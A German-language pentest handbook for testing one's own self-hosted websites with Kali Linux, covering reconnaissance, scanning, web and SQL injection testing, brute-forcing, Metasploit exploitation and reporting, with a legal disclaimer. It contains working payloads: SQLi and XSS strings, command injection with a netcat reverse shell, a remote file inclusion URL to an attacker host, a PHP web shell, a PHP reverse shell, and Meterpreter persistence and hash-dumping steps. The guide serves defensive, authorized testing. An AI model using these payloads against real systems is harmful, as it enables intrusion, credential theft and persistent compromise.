Skip to main content

Ethical Hacking auf eigenen selbstgehosteten Websites – Handbuch mit Kali Linux

⚠ Rechtlicher Hinweis: Alle in diesem Handbuch beschriebenen Techniken dürfen ausschließlich auf Systemen angewendet werden, die du selbst besitzt oder für die du eine ausdrückliche schriftliche Genehmigung des Eigentümers hast. Das unbefugte Eindringen in fremde Systeme ist in Deutschland nach §202a–§202d StGB (Ausspähen und Abfangen von Daten) strafbar und kann mit Freiheitsstrafe bis zu 3 Jahren geahndet werden. Dieses Handbuch ist ausdrücklich für das Testen eigener selbstgehosteter Infrastruktur bestimmt.

Inhaltsverzeichnis

  1. Testumgebung aufbauen
  2. Reconnaissance – Informationssammlung
  3. Scanning & Enumeration
  4. Vulnerability Scanning
  5. Web Application Testing
  6. SQL Injection Testing
  7. XSS und Injection-Angriffe
  8. Authentifizierungs-Tests
  9. SSL/TLS-Analyse
  10. Netzwerk-Analyse
  11. Exploitation – Schwachstellen ausnutzen
  12. Post-Exploitation und Reporting

1. Testumgebung aufbauen

Kali Linux installieren

Kali Linux ist die Standard-Distribution für Penetrationstests – sie enthält über 600 vorinstallierte Security-Tools. Für das Testen eigener selbstgehosteter Dienste empfiehlt sich eine dedizierte Kali-VM, die im selben Netzwerk oder per VPN mit der Ziel-Infrastruktur verbunden ist.

Optionen für Kali Linux:

  • Kali Linux VM (empfohlen) – Download von kali.org/get-kali, Import in VirtualBox oder VMware. Snapshots vor jedem Test anlegen.
  • Kali Linux auf Proxmox – Als LXC-Container oder VM, ideal für Homelab-Integration
  • Kali Linux WSL2 – Unter Windows via wsl --install -d kali-linux, eingeschränkte Netzwerk-Funktionen
  • Kali Linux Bare Metal – Maximale Performance, für dedizierten Test-Rechner

Kali aktualisieren und Basis-Tools sicherstellen

# System aktualisieren
sudo apt update && sudo apt full-upgrade -y

# Wichtige Tool-Pakete installieren
sudo apt install -y kali-tools-web kali-tools-vulnerability \
  kali-tools-information-gathering kali-tools-passwords \
  kali-tools-exploitation kali-tools-reporting

# Metasploit-Datenbank initialisieren
sudo msfdb init
sudo systemctl start postgresql

Labornetzwerk strukturieren

Für ein sauberes Testsetup empfiehlt sich folgende Netzwerktopologie:

Komponente IP-Beispiel Rolle
Kali Linux (Angreifer) 192.168.100.10 Penetration-Test-Maschine
Webserver (Ziel) 192.168.100.20 Apache/Nginx mit eigener App
Datenbank (Ziel) 192.168.100.21 MySQL/PostgreSQL
Router/Firewall 192.168.100.1 pfSense/OPNsense

💡 Tipp: Richte in Proxmox oder VirtualBox ein isoliertes internes Netzwerk (z. B. vmbr1) für Tests ein, das keinen direkten Internetzugang hat. So kannst du gefahrlos testen, ohne dass Exploits oder Scans versehentlich externe Ziele treffen.

Verwundbare Test-Anwendungen einsetzen

Für das Üben mit echten Schwachstellen gibt es vorgefertigte verwundbare Webanwendungen – ideal zum Verstehen von Angriffsvektoren, bevor man die eigene Produktionsumgebung testet:

Anwendung Schwachstellen Deployment
DVWA (Damn Vulnerable Web App) SQLi, XSS, CSRF, File Inclusion, Command Injection Docker: docker run -p 80:80 vulnerables/web-dvwa
Juice Shop (OWASP) Alle OWASP Top 10, moderne JS-App Docker: docker run -p 3000:3000 bkimminich/juice-shop
WebGoat (OWASP) SQL, Auth, Krypto, Deserialisierung Docker: docker run -p 8080:8080 webgoat/goat-and-wolf
Metasploitable 3 Systemlevel, Web, Services Vagrant-VM, vollständiges OS

2. Reconnaissance – Informationssammlung

Reconnaissance (Recon) ist die erste Phase eines Penetrationstests. Ziel ist es, so viele Informationen wie möglich über das Ziel zu sammeln, bevor aktive Scans beginnen. Bei selbstgehosteten Servern geht es darum zu verstehen, was von außen sichtbar ist.

Passive Reconnaissance (ohne direkten Kontakt)

WHOIS und DNS-Informationen

# WHOIS-Abfrage für eigene Domain
whois eigene-domain.de

# DNS-Records abfragen
dig eigene-domain.de ANY
dig eigene-domain.de MX
dig eigene-domain.de TXT
dig eigene-domain.de NS

# Reverse DNS (IP → Hostname)
dig -x 203.0.113.1

# DNS-Zone Transfer versuchen (häufige Fehlkonfiguration)
dig axfr @ns1.eigene-domain.de eigene-domain.de

Subdomains entdecken

# Subfinder – passive Subdomain-Entdeckung
subfinder -d eigene-domain.de -o subdomains.txt

# Amass – umfassende Subdomain-Enumeration
amass enum -passive -d eigene-domain.de

# DNSRecon – DNS-Enumeration
dnsrecon -d eigene-domain.de -t std
dnsrecon -d eigene-domain.de -t brt -D /usr/share/wordlists/dnsmap.txt

theHarvester – E-Mails, Hosts, IPs sammeln

# E-Mails und Hosts aus öffentlichen Quellen sammeln
theHarvester -d eigene-domain.de -b google,bing,linkedin,shodan -l 500

# Ergebnis in Datei speichern
theHarvester -d eigene-domain.de -b all -f recon_output

Shodan – Was ist öffentlich erreichbar?

Shodan ist eine Suchmaschine für internetverbundene Geräte. Mit einem kostenlosen Account kannst du prüfen, welche Ports und Dienste deines Servers öffentlich sichtbar sind:

# Shodan CLI installieren und konfigurieren
pip3 install shodan
shodan init DEIN_API_KEY

# Eigene IP-Adresse prüfen
shodan host DEINE_IP

# Alle offenen Ports und Banner anzeigen
shodan search hostname:eigene-domain.de

Web-Archiv und Cache analysieren

# WaybackMachine – historische Versionen prüfen
# Browser: web.archive.org/web/*/eigene-domain.de

# Waybackurls – alle archivierten URLs extrahieren
echo "eigene-domain.de" | waybackurls | tee wayback_urls.txt

# Interessante Dateien filtern (Backups, Configs)
cat wayback_urls.txt | grep -E "\.(sql|bak|zip|tar|gz|env|config|xml|json)$"

3. Scanning & Enumeration

Nmap – Netzwerk- und Port-Scanning

Nmap ist das zentrale Tool für Port-Scanning und Service-Enumeration. Bei eigenen Servern empfiehlt sich ein vollständiger Scan aller Ports, um unbeabsichtigt offene Dienste zu entdecken.

# Schneller Host-Discovery-Scan im Subnetz
nmap -sn 192.168.100.0/24

# Vollständiger TCP-Port-Scan (alle 65535 Ports)
sudo nmap -sS -p- --min-rate 1000 -T4 192.168.100.20 -oN full_scan.txt

# Service- und Versions-Erkennung
sudo nmap -sV -sC -p 22,80,443,3306,5432 192.168.100.20 -oN service_scan.txt

# OS-Fingerprinting
sudo nmap -O 192.168.100.20

# Vollständiger aggressiver Scan (Service, OS, Scripts, Traceroute)
sudo nmap -A -p- 192.168.100.20 -oN aggressive_scan.txt

# UDP-Scan (häufig vergessen – DNS, SNMP, NTP)
sudo nmap -sU --top-ports 200 192.168.100.20 -oN udp_scan.txt

Wichtige Nmap-Parameter

Parameter Bedeutung
-sS SYN-Scan (Stealth, hinterlässt weniger Logs)
-sV Service-Version erkennen
-sC Standard-NSE-Scripts ausführen
-A Aggressiv: OS, Version, Scripts, Traceroute
-p- Alle 65535 Ports scannen
-T4 Schnelle Timing-Vorlage
--script vuln Vulnerability-Scripts ausführen
-oN / -oX / -oG Output: Normal / XML / Grepable

Nmap NSE Scripts – Gezielte Checks

# HTTP-spezifische Enumeration
nmap --script http-enum -p 80,443 192.168.100.20
nmap --script http-headers -p 80,443 192.168.100.20
nmap --script http-methods -p 80,443 192.168.100.20

# SSL/TLS-Analyse
nmap --script ssl-enum-ciphers -p 443 192.168.100.20
nmap --script ssl-heartbleed -p 443 192.168.100.20

# SMB-Enumeration (falls Windows-Dienste)
nmap --script smb-enum-shares,smb-vuln-ms17-010 -p 445 192.168.100.20

# MySQL-Enumeration
nmap --script mysql-info,mysql-empty-password -p 3306 192.168.100.20

# Alle Vulnerability-Scripts auf einmal
nmap --script vuln 192.168.100.20 -oN vuln_scan.txt

Masscan – Hochgeschwindigkeits-Port-Scanning

# Masscan für schnellen Überblick (nur im eigenen Netz!)
sudo masscan 192.168.100.0/24 -p1-65535 --rate=10000 -oL masscan_results.txt

# Ergebnisse für Nmap aufbereiten
grep "open" masscan_results.txt | awk '{print $4}' | sort -u > open_ports.txt

Gobuster / ffuf – Verzeichnis- und Datei-Enumeration

# Gobuster – Verzeichnisse und Dateien brute-forcen
gobuster dir -u http://192.168.100.20 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,js,txt,bak,sql,zip \
  -t 50 -o gobuster_results.txt

# Mit HTTPS und benutzerdefinierten Headern
gobuster dir -u https://eigene-domain.de \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -k -H "Cookie: session=abc123" \
  -t 40 -o gobuster_https.txt

# ffuf – schnellere Alternative mit mehr Optionen
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
  -u http://192.168.100.20/FUZZ \
  -mc 200,301,302,403 \
  -o ffuf_results.json -of json

# Virtual Host Enumeration
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://192.168.100.20 \
  -H "Host: FUZZ.eigene-domain.de" \
  -mc 200,301,302 -fs 0

4. Vulnerability Scanning

Nikto – Web Server Vulnerability Scanner

Nikto scannt Webserver auf bekannte Schwachstellen, Fehlkonfigurationen, unsichere Dateien und veraltete Software. Es ist laut und hinterlässt deutliche Log-Einträge – ideal, um zu prüfen, was dein IDS/WAF erkennt.

# Basis-Scan
nikto -h http://192.168.100.20

# HTTPS-Scan mit SSL-Checks
nikto -h https://eigene-domain.de -ssl

# Erweitert: spezifische Ports, Ausgabe in HTML
nikto -h 192.168.100.20 -p 80,8080,8443 \
  -o nikto_report.html -Format htm

# Mit Authentifizierung
nikto -h http://192.168.100.20 -id admin:passwort

# Tuning: nur spezifische Checks
nikto -h http://192.168.100.20 -Tuning 9
# 1=Interessante Dateien, 2=Fehlkonfigurationen, 9=SQL Injection

OpenVAS / Greenbone – Umfassender Vulnerability Scanner

OpenVAS (jetzt Teil von Greenbone) ist der mächtigste Open-Source-Vulnerability-Scanner. In Kali Linux verfügbar über gvm:

# OpenVAS / GVM einrichten
sudo gvm-setup
sudo gvm-start

# Zugriff über Web-UI: https://127.0.0.1:9392
# Standard-Login: admin / (Passwort aus gvm-setup-Output)

# Über CLI: Scan starten
gvm-cli --gmp-username admin --gmp-password PASSWORT \
  socket --xml ""

Greenbone-Scan-Workflow:

  1. Web-UI öffnen: https://localhost:9392
  2. Scans → Targets → New Target: IP/Hostname des eigenen Servers eingeben
  3. Scans → Tasks → New Task: Target auswählen, Scan-Konfiguration wählen (Full and Fast)
  4. Task starten und Ergebnisse unter Reports auswerten
  5. Schwachstellen nach CVSS-Score priorisieren

WPScan – WordPress-spezifischer Scanner

# WordPress-Installation scannen
wpscan --url https://eigene-wordpress-seite.de

# Plugins und Themes aufzählen
wpscan --url https://eigene-wordpress-seite.de \
  --enumerate ap,at,u \
  --plugins-detection aggressive

# Mit API-Token für CVE-Daten (kostenloser Account bei wpscan.com)
wpscan --url https://eigene-wordpress-seite.de \
  --api-token DEIN_TOKEN \
  --enumerate vp,vt,u \
  -o wpscan_report.json --format json

# Passwort-Brute-Force gegen wp-login.php
wpscan --url https://eigene-wordpress-seite.de \
  --usernames admin,administrator \
  --passwords /usr/share/wordlists/rockyou.txt \
  --max-threads 5

CMSmap – Multi-CMS Scanner

# WordPress, Joomla, Drupal und Moodle erkennen und scannen
cmsmap -t https://eigene-domain.de

# Spezifisches CMS
cmsmap -t https://eigene-domain.de -f W  # WordPress
cmsmap -t https://eigene-domain.de -f J  # Joomla
cmsmap -t https://eigene-domain.de -f D  # Drupal

5. Web Application Testing

Burp Suite – Der zentrale Web-Testing-Proxy

Burp Suite ist das wichtigste Tool für manuelles Web Application Testing. Die Community Edition ist kostenlos und in Kali enthalten.

Burp Suite einrichten:

  1. Burp Suite starten: burpsuite im Terminal
  2. Proxy → Options: Listener auf 127.0.0.1:8080 konfigurieren
  3. Browser konfigurieren: HTTP-Proxy auf 127.0.0.1:8080
  4. Burp CA-Zertifikat im Browser installieren (http://burp → CA Certificate)
  5. Intercept aktivieren und Traffic abfangen

Wichtige Burp Suite Module:

Modul Funktion
Proxy HTTP/HTTPS-Traffic abfangen, modifizieren und weiterleiten
Repeater Einzelne Requests manuell modifizieren und wiederholen
Intruder Automatisierte Angriffe: Brute-Force, Fuzzing, Parameter-Manipulation
Scanner Automatischer Schwachstellen-Scan (nur Pro)
Decoder Encoding/Decoding: Base64, URL, HTML, Hex
Comparer Responses vergleichen
Logger Alle Requests protokollieren

OWASP ZAP – Automatisierter Web-Scanner

# ZAP über CLI starten (headless)
zaproxy -daemon -port 8090 -config api.key=DEIN_KEY

# Quick Scan via CLI
zaproxy -quickurl https://eigene-domain.de \
  -quickout /tmp/zap_report.html \
  -quickprogress

# Full Spider + Active Scan via API
curl "http://localhost:8090/JSON/spider/action/scan/?apikey=DEIN_KEY&url=http://192.168.100.20"
curl "http://localhost:8090/JSON/ascan/action/scan/?apikey=DEIN_KEY&url=http://192.168.100.20"

# Alerts abrufen
curl "http://localhost:8090/JSON/core/view/alerts/?apikey=DEIN_KEY" | python3 -m json.tool

HTTP-Header-Analyse

# curl für detaillierte Header-Analyse
curl -I -L https://eigene-domain.de

# Sicherheitsrelevante Header prüfen
curl -s -D - https://eigene-domain.de -o /dev/null | grep -E \
  "Strict-Transport-Security|Content-Security-Policy|X-Frame-Options|\
X-Content-Type-Options|Referrer-Policy|Permissions-Policy|X-XSS-Protection"

# whatweb – Technologie-Fingerprinting
whatweb -v https://eigene-domain.de

# httpx – Schnelle HTTP-Analyse mehrerer Hosts
echo "eigene-domain.de" | httpx -title -tech-detect -status-code -content-length

Sicherheitsrelevante HTTP-Header – Soll-Zustand

Header Empfohlener Wert Schutz gegen
Strict-Transport-Security max-age=31536000; includeSubDomains; preload SSL-Stripping, Downgrade-Angriffe
Content-Security-Policy Restriktive Whitelist XSS, Clickjacking, Data Injection
X-Frame-Options DENY oder SAMEORIGIN Clickjacking
X-Content-Type-Options nosniff MIME-Type-Sniffing
Referrer-Policy strict-origin-when-cross-origin Referrer-Datenleak
Permissions-Policy Kamera/Mikro/Geo deaktivieren Feature-Missbrauch
X-XSS-Protection 0 (veraltet, lieber CSP) XSS (nur ältere Browser)

6. SQL Injection Testing

SQL Injection ist nach wie vor eine der kritischsten Schwachstellen (OWASP Top 10 Platz A03). Sie entsteht, wenn Benutzereingaben ungefiltert in SQL-Queries eingebaut werden.

Manuelle SQLi-Tests mit Burp Suite

Basis-Payloads zum Testen:

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin'--
admin' #
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--  (Fehler → Anzahl Spalten gefunden)

sqlmap – Automatisierte SQL-Injection-Tests

# Basis-Test einer GET-Parameter-URL
sqlmap -u "http://192.168.100.20/artikel.php?id=1" --dbs

# POST-Request testen (aus Burp Suite kopieren)
sqlmap -r request.txt --dbs

# Datenbank-Dump nach Erkennung
sqlmap -u "http://192.168.100.20/artikel.php?id=1" \
  -D datenbankname --tables

sqlmap -u "http://192.168.100.20/artikel.php?id=1" \
  -D datenbankname -T users --columns

sqlmap -u "http://192.168.100.20/artikel.php?id=1" \
  -D datenbankname -T users -C username,password --dump

# Mit Cookie-Authentifizierung
sqlmap -u "http://192.168.100.20/profil.php?user_id=5" \
  --cookie="session=abc123; PHPSESSID=xyz" \
  --level=3 --risk=2 --dbs

# Blind SQLi (langsamer, für schwierige Fälle)
sqlmap -u "http://192.168.100.20/suche.php?q=test" \
  --technique=B --level=5 --risk=3

# WAF-Bypass mit Tamper-Scripts
sqlmap -u "http://192.168.100.20/api/items?id=1" \
  --tamper=space2comment,randomcase,charencode

SQLi-Schutzmaßnahmen prüfen

Nach dem Test solltest du prüfen, ob folgende Schutzmaßnahmen implementiert sind:

  • Prepared Statements / Parameterized Queries – Absoluter Standard, verhindert SQLi vollständig
  • Input-Validierung – Typ-, Längen- und Format-Prüfung aller Eingaben
  • Principle of Least Privilege – Datenbank-Benutzer hat nur SELECT-Rechte, nie DROP/CREATE
  • WAF – ModSecurity oder Cloudflare WAF als zusätzliche Schicht
  • Error-Handling – Keine Datenbankfehler im Browser anzeigen

7. XSS und Injection-Angriffe

Cross-Site Scripting (XSS) testen

XSS ermöglicht das Einschleusen von JavaScript-Code in Webseiten, der im Browser anderer Nutzer ausgeführt wird. Drei Typen: Reflected (in URL), Stored (in Datenbank), DOM-based (JavaScript-seitig).

# Basis XSS-Payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')"></iframe>
"><script>alert(document.cookie)</script>

# Filter-Bypass-Varianten
<ScRiPt>alert('XSS')</sCrIpT>
<img src=x onerror="alert('XSS')">
<a href="data:text/html,<script>alert('XSS')</script>">click</a>

dalfox – Automatisiertes XSS-Scanning

# Einzelne URL auf XSS testen
dalfox url "http://192.168.100.20/suche.php?q=test"

# Mit Cookie
dalfox url "http://192.168.100.20/profil.php?name=test" \
  --cookie "session=abc123"

# POST-Request
dalfox url "http://192.168.100.20/kommentar.php" \
  --data "text=test&action=submit"

# Multiple URLs aus Datei
cat urls.txt | dalfox pipe -o dalfox_results.txt

# Blind XSS (Callback zu eigenem Server)
dalfox url "http://192.168.100.20/suche.php?q=test" \
  --blind "https://dein-callback-server.de/xss"

Command Injection testen

# Payloads für Command Injection (Formular-Felder, Parameter)
; ls -la
| whoami
` id `
$(id)
; cat /etc/passwd
&& ping -c 1 192.168.100.10
| nc 192.168.100.10 4444 -e /bin/bash  # Reverse Shell!

Server-Side Template Injection (SSTI)

# SSTI-Erkennungs-Payloads (in Formularfelder eingeben)
{{7*7}}          # Jinja2/Twig → ergibt 49
${7*7}           # FreeMarker → ergibt 49
<%= 7*7 %>       # ERB (Ruby) → ergibt 49
#{7*7}           # Slim → ergibt 49

# tplmap – automatisiertes SSTI-Testing
tplmap -u "http://192.168.100.20/render?template=*" --os-shell

File Inclusion testen

# Local File Inclusion (LFI)
http://192.168.100.20/index.php?page=../../../etc/passwd
http://192.168.100.20/index.php?page=....//....//....//etc/passwd
http://192.168.100.20/index.php?page=php://filter/convert.base64-encode/resource=index.php

# Remote File Inclusion (RFI) – falls allow_url_include=On
http://192.168.100.20/index.php?page=http://angreifer.de/shell.txt

# LFI zu RCE über Log-Poisoning
# 1. Malicious User-Agent in Server-Logs einschleusen:
curl -A "" http://192.168.100.20/
# 2. Log-Datei über LFI inkludieren:
http://192.168.100.20/index.php?page=../../../var/log/apache2/access.log&cmd=id

8. Authentifizierungs-Tests

Hydra – Passwort-Brute-Force

# SSH Brute-Force (nur auf eigenem Server!)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.100.20 ssh -t 4 -V

# HTTP-Formular Brute-Force (POST)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.100.20 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:Invalid credentials" \
  -V -t 10

# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.100.20 http-get /admin/ -V

# FTP
hydra -L users.txt -P passwords.txt 192.168.100.20 ftp -V

# MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt \
  192.168.100.20 mysql -V

Medusa – Alternative zu Hydra

# SSH Brute-Force mit Medusa
medusa -h 192.168.100.20 -u admin \
  -P /usr/share/wordlists/rockyou.txt \
  -M ssh -t 4 -v 6

# HTTP-Form
medusa -h 192.168.100.20 -u admin \
  -P passwords.txt \
  -M http -m "FORM:/login.php:username=&password=:F=Invalid" -v 6

JWT-Token-Analyse und -Angriffe

# jwt-tool installieren
pip3 install jwt-tool

# JWT dekodieren und analysieren
jwt_tool DEIN.JWT.TOKEN

# Algorithm confusion attack (RS256 → HS256)
jwt_tool DEIN.JWT.TOKEN -X a

# None-Algorithm Attack
jwt_tool DEIN.JWT.TOKEN -X n

# Brute-Force des HS256-Secrets
jwt_tool DEIN.JWT.TOKEN -C -d /usr/share/wordlists/rockyou.txt

# JWT mit manipuliertem Payload signieren (nach Secret-Fund)
jwt_tool DEIN.JWT.TOKEN -T -S hs256 -p "gefundenes_secret"

Passwort-Hashing analysieren

# Hashcat – GPU-basiertes Passwort-Cracking
# MD5-Hash cracken
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# bcrypt cracken (langsam, aber möglich)
hashcat -m 3200 -a 0 bcrypt_hash.txt /usr/share/wordlists/rockyou.txt

# WordPress MD5 (phppass)
hashcat -m 400 -a 0 wp_hash.txt /usr/share/wordlists/rockyou.txt

# John the Ripper (Alternative)
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

9. SSL/TLS-Analyse

testssl.sh – Umfassende TLS-Analyse

# Installation
git clone --depth 1 https://github.com/drwetter/testssl.sh.git
cd testssl.sh

# Vollständige TLS-Analyse
./testssl.sh https://eigene-domain.de

# Nur Schwachstellen prüfen
./testssl.sh --vulnerable https://eigene-domain.de

# Spezifische Tests
./testssl.sh --heartbleed --poodle --crime --beast --logjam \
  --drown --robot https://eigene-domain.de

# JSON-Output für Weiterverarbeitung
./testssl.sh --jsonfile tls_report.json https://eigene-domain.de

SSLyze – Python-basierte TLS-Analyse

# SSLyze installieren und nutzen
pip3 install sslyze

# Vollständiger Scan
sslyze eigene-domain.de --regular

# JSON-Output
sslyze eigene-domain.de --json_out sslyze_report.json

# Spezifische Checks
sslyze eigene-domain.de --heartbleed --openssl_ccs
sslyze eigene-domain.de --cipher_suites

Häufige TLS-Schwachstellen

Schwachstelle Beschreibung Test-Tool
Heartbleed (CVE-2014-0160) OpenSSL-Bug: Speicher-Leak über Heartbeat-Extension testssl.sh --heartbleed
POODLE (CVE-2014-3566) SSL 3.0 CBC-Padding-Angriff testssl.sh --poodle
BEAST (CVE-2011-3389) TLS 1.0 CBC-Angriff testssl.sh --beast
CRIME (CVE-2012-4929) Komprimierungs-basierter Angriff testssl.sh --crime
DROWN (CVE-2016-0800) SSLv2 ermöglicht Entschlüsselung von TLS testssl.sh --drown
ROBOT (CVE-2017-13099) RSA-PKCS#1-Padding-Orakel testssl.sh --robot
Weak Ciphers RC4, DES, 3DES, EXPORT-Cipher testssl.sh --cipher-per-proto
Expired/Self-Signed Cert Zertifikat abgelaufen oder nicht vertrauenswürdig testssl.sh

10. Netzwerk-Analyse

Wireshark – Netzwerk-Traffic analysieren

# Wireshark starten (GUI)
sudo wireshark

# tshark – CLI-Version von Wireshark
# Traffic auf Interface eth0 aufzeichnen
sudo tshark -i eth0 -w capture.pcap

# HTTP-Passwörter aus Capture extrahieren
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.request.uri -e http.file_data

# DNS-Anfragen mitschneiden
sudo tshark -i eth0 -Y "dns" -T fields \
  -e ip.src -e dns.qry.name -e dns.resp.addr

# Pcap-Datei analysieren
tshark -r capture.pcap -Y "http.request" -T fields \
  -e ip.dst -e http.host -e http.request.uri

tcpdump – Schnelles CLI-Packet-Capturing

# Gesamten Traffic auf Interface aufzeichnen
sudo tcpdump -i eth0 -w dump.pcap

# Nur HTTP/HTTPS-Traffic
sudo tcpdump -i eth0 -w http_dump.pcap port 80 or port 443

# Nur Traffic von/zu bestimmter IP
sudo tcpdump -i eth0 host 192.168.100.20 -w target_dump.pcap

# HTTP-Inhalte im Klartext anzeigen (bei unverschlüsseltem HTTP)
sudo tcpdump -i eth0 -A -s 0 port 80 | grep -E "POST|GET|Cookie|password"

Netzwerk-Schwachstellen erkennen

# ARP-Tabelle prüfen (ARP-Poisoning-Schutz)
arp -a
ip neigh

# Offene Netzwerk-Verbindungen auf dem Server
sudo ss -tulpn
sudo netstat -tulpn

# Firewall-Regeln prüfen
sudo iptables -L -n -v
sudo nft list ruleset

# Routing-Tabelle
ip route show
route -n

11. Exploitation – Schwachstellen ausnutzen

⚠ Wichtig: Exploitation-Techniken dürfen ausschließlich auf eigenen Systemen oder in autorisierten Testumgebungen angewendet werden. Das Ziel ist es, die Wirkung von Schwachstellen zu verstehen, um sie zu schließen – nicht, um Systeme zu kompromittieren.

Metasploit Framework

Metasploit ist das umfassendste Exploitation-Framework. Es enthält Hunderte von Exploits, Payloads und Post-Exploitation-Modulen.

# Metasploit starten
msfconsole

# Verfügbare Exploits für einen bestimmten Dienst suchen
search type:exploit name:apache
search type:exploit name:wordpress
search cve:2021-44228  # Log4Shell

# Exploit laden und konfigurieren
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS 192.168.100.20
set RPORT 80
set TARGETURI /cgi-bin/vulnerable.cgi
set LHOST 192.168.100.10  # Kali-IP
set LPORT 4444
check  # Prüfen ob Ziel anfällig
run    # Exploit ausführen

# Nach erfolgreicher Session
sessions -l         # Aktive Sessions anzeigen
sessions -i 1       # Session 1 öffnen
sysinfo             # Systeminfo im Meterpreter

Meterpreter – Post-Exploitation

# In aktiver Meterpreter-Session:
sysinfo              # OS, Hostname, Architektur
getuid               # Aktueller Benutzer
getpid               # Prozess-ID

# Dateisystem-Erkundung
pwd
ls
cd /var/www/html
cat config.php       # Datenbankpasswörter suchen!

# Privilege Escalation
getsystem            # Automatischer Privilege-Escalation-Versuch
getuid               # Sollte jetzt SYSTEM/root sein

# Persistence (nur für Verständnis – auf eigenem System!)
run persistence -A -X -i 30 -p 4444 -r 192.168.100.10

# Passwort-Hashes dumpen
run hashdump
load kiwi            # Mimikatz-Integration (Windows)
creds_all

# Pivoting ins interne Netzwerk
run autoroute -s 10.0.0.0/24
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.0.0/24
run

Manuelle Exploits – CVE-Datenbank nutzen

# searchsploit – lokale Exploit-Datenbank (ExploitDB)
searchsploit apache 2.4
searchsploit wordpress 5.8
searchsploit --cve 2021-44228  # Log4Shell

# Exploit-Datei anzeigen
searchsploit -x path/to/exploit.py

# In aktuelles Verzeichnis kopieren
searchsploit -m path/to/exploit.py

Web-Shells

# Einfache PHP-Web-Shell (für Tests auf eigenem Server)
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/test_shell.php

# Zugriff und Test:
curl "http://192.168.100.20/test_shell.php?cmd=id"
curl "http://192.168.100.20/test_shell.php?cmd=cat+/etc/passwd"

# Interaktivere Shell via netcat (Reverse Shell testen)
# Auf Kali zuerst Listener starten:
nc -lvnp 4444

# Dann auf dem Server (simuliert erfolgreichen Upload):
php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# WICHTIG: Nach dem Test sofort löschen!
rm /var/www/html/test_shell.php

12. Post-Exploitation und Reporting

Findings dokumentieren

Eine gute Dokumentation ist das wichtigste Ergebnis eines Penetrationstests. Ohne Dokumentation können Schwachstellen nicht nachvollzogen und behoben werden.

Für jede Schwachstelle dokumentieren:

  • Titel – Kurze Beschreibung der Schwachstelle
  • Schweregrad – Kritisch / Hoch / Mittel / Niedrig / Informativ (nach CVSS)
  • Beschreibung – Was ist die Schwachstelle, wie funktioniert der Angriff?
  • Beweismittel – Screenshots, Burp-Requests, Nmap-Output, PoC-Code
  • Auswirkung – Was kann ein Angreifer damit erreichen?
  • Empfehlung – Konkrete Schritte zur Behebung
  • Referenzen – CVE-Nummern, OWASP, CWE

Automatisiertes Reporting mit Dradis

# Dradis in Kali starten
dradis

# Zugriff: https://localhost:3004
# Import von Nmap, Nessus, Burp, Metasploit-Ergebnissen möglich
# Projektbasierte Verwaltung aller Findings

Faraday – Kollaboratives Pentest-Management

# Faraday installieren
pip3 install faradaysec

# Starten
faraday-server
faraday-client

# Automatischer Import von Tool-Ergebnissen:
# - Nmap XML: faraday-cli tool run 'nmap -oX - 192.168.100.20'
# - Nikto: faraday-cli tool run 'nikto -h http://192.168.100.20'

CVSS-Score berechnen

Der Common Vulnerability Scoring System (CVSS) Score klassifiziert Schwachstellen nach Schweregrad. Online-Rechner: nvd.nist.gov/vuln-metrics/cvss

CVSS Score Schweregrad Beispiel
0.0 Kein Risiko Informationsoffenbarung ohne Auswirkung
0.1 – 3.9 Niedrig Versionsinformationen in Headern
4.0 – 6.9 Mittel XSS ohne Authentifizierung
7.0 – 8.9 Hoch SQL Injection mit Datenbankzugriff
9.0 – 10.0 Kritisch Remote Code Execution ohne Auth

Abschlussbericht-Struktur

  1. Executive Summary – Nicht-technische Zusammenfassung für Management
  2. Scope und Methodik – Was wurde getestet, welche Tools und Techniken
  3. Zusammenfassung der Findings – Tabelle aller Schwachstellen mit Schweregrad
  4. Detaillierte Findings – Jede Schwachstelle einzeln mit Beweis und Empfehlung
  5. Behobene Schwachstellen – Bereits während des Tests geschlossene Lücken
  6. Anhang – Rohdaten, vollständige Scan-Outputs, Tool-Versionen

Nach dem Test: Aufräumen

# Eigene Test-Dateien und Web-Shells entfernen
find /var/www -name "*.php" -newer /var/www/html/index.php -delete

# Test-Accounts entfernen
deluser pentest_user
mysql -u root -p -e "DROP USER 'test_pentest'@'localhost';"

# Log-Einträge prüfen (zeigt was der Test hinterlassen hat)
grep "192.168.100.10" /var/log/apache2/access.log | tail -100
grep "Failed password" /var/log/auth.log | tail -50

# Temporäre Firewall-Regeln für Test entfernen
iptables -D INPUT -s 192.168.100.10 -j ACCEPT

Kali Linux Tool-Referenz

Kategorie Tool Zweck
Reconnaissance theHarvester E-Mails, Hosts, IPs aus OSINT
subfinder Passive Subdomain-Entdeckung
amass DNS-Enumeration, Subdomain-Mapping
shodan CLI Internet-Exponiertheit prüfen
Scanning nmap Port-Scanning, Service-Erkennung, NSE-Scripts
masscan Hochgeschwindigkeits-Port-Scan
gobuster / ffuf Verzeichnis- und Datei-Brute-Force
nikto Web-Server-Schwachstellen
Web App Burp Suite Manuelles Web-Testing, Proxy
OWASP ZAP Automatisierter Web-Scanner
dalfox XSS-Scanner
SQLi sqlmap SQL-Injection-Automatisierung
Burp Suite Intruder Manuelle SQLi-Tests
